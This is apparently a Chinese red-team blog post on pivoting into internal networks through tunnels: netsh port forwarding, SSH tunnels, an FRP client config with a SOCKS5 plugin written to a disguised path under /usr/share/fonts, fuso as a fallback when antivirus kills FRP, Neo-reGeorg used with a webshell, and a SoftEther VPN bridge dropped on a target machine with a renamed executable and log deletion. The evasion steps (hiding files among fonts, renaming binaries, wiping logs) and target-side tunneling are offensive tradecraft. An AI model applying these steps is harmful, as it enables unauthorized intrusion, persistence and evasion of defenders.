构建通道漫游内网

张天师大约 6 分钟

网络连通性测试

能出网的做反向代理,不能出网的做正向代理

是否存在Nginx反向代理

找到Nginx目录,查看配置文件

某次实战中发现正反向都代理不出去,查看配置文件发现了nginx反代,直接连接公网IP代理的3389

客户端代理工具

端口转发-高权限无工具

Windows netsh 端口转发(双网卡用)

netsh仅支持TCP协议, 适用于双网卡服务器

连接外网6666端口,就是连接到内网目标上面的3389。

Linux SSH隧道(高权限用)

SSH一般是允许通过防火墙的,而且传输过程是加密的

FRP 反向代理

服务端配置

客户端配置

客户端配置文件

cat > /usr/share/fonts/fonts.ini << EOF
[common]
server_addr = 127.0.0.1
server_port = 60001
token=pwdpwd.886
tls_enable = true

[socks5]
type = tcp
remote_port =2333
plugin = socks5
plugin_user = admin
plugin_passwd = admin123456
use_encryption = true
use_compression = true
EOF

启动客户端

fuso 反向代理

在FRP在Windows上被杀软干掉的时候备用,下载地址:https://github.com/editso/fusoopen in new window

Name✔(Achieved) / ❌(Unrealized))
端口转发
传输加密
socks5
socks5 udp 转发
kcp 支持
多映射
级联代理
数据传输压缩
websocket
Rsa加密
Aes加密

Neo-reGeorg 正向代理

下载地址:https://github.com/L-codes/Neo-reGeorgopen in new window

配合webshell,复用目标的Web服务端口开一个Socks5代理隧道

python3 neoreg.py generate -k password
#生成服务端

python3 neoreg.py -k password -u http://xx/tunnel.php
#在本地建立Socks5代理

毒刺,可直接用于Metasploit、Cobaltstrike上线 GitHub - FunnyWolf/pystingeopen in new window

天蝎Webshell管理工具自带正向代理

Softether VPN

https://www.softether.org/5-downloadopen in new window

1_bridge.jpg

在每个站点上,SoftEther VPN可以定义一个虚拟集线器,并使用本地网桥功能在虚拟集线器和物理以太网段之间连接。相当于把多个不同网段的局域网连接到一起。

在公司网络的总部或数据中心,将SoftEther VPN服务器设置为VPN的中央服务器(就是自己的VPS)

安装VPN Server(在自己的VPS上)

使用修改过源码的Docker版安装,这个支持拆分隧道;

也就是连接上VPN后只有你指定的IP段才会走VPN流量,其它时候不影响你正常上网。

docker pull abyssviper/softethervpn
docker run -d --name vpn -p 443:5555 abyssviper/softethervpn

默认监听了4个端口:443,992,1194,5555

HTTPS访问可看到Web管理页面,VPN配置完成后需要禁止访问Web页面

./vpnserver stop#操作前先停止VPN
vim vpn_server.configbool DisableJsonRpcWebApi true
./vpnserver start#启动VPN服务器

设置VPN Server

下载vpn server管理端(Bridge),连接VPN Server默认密码为空,连接后会提示修改。

创建虚拟HUB - 并添加用户(user1/pwd123456)

各个分支网桥级联

在每个分支上,配置 VPN Bridge 以保持与中央 VPN 服务器的级联连接。

创建连接到本地的服务器(密码br123456),端点选择站点到站点。

SoftEther VPN Bridge

管理虚拟Hub - 虚拟NAT和虚拟DHCP - 启用secureNAT

等待几分钟,等配置保存......

目标机器反向VPN

#打开C:\Program Files\SoftEther VPN Bridge目录,将以下文件扔到目标机器执行
hamcore.se2、vpn_bridge.config、vpnbridge.exe(可改名)

vbr.exe /usermode
#使用完后kill进程,删除当前目录下的日志文件夹